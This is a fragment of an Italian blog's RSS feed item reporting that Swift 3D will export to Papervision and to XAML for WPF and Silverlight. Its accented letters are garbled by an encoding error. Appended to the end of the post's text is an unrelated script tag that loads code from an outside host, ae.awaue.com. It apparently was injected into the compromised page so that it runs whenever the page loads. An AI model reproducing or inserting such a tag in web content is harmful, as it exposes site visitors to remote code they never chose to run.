<p>A <a href="http://www.swift3d.com/Company/Press/PressReleases/Swift3D_v5_Mac_Announce.asp">questo indirizzo</a> c&#8217;√® anche la rassegna stampa di <a href="http://www.erain.com/">Electric Rain</a>, software house di swift, in cui vengono descritte le varie funzionalit√† del programma&#8230;tra le quali papervision non √® l&#8217;unica sorpresa, infatti il 3d processor di erain esporter√† anche in XAML per <a href="http://en.wikipedia.org/wiki/Windows_Presentation_Foundation">WPF </a>e <a href="http://en.wikipedia.org/wiki/Windows_Presentation_Foundation#Microsoft_Silverlight">Silverlight</a>.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2007/11/20/swift-3d-va-in-papervisionma-anche-in-silverlight/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
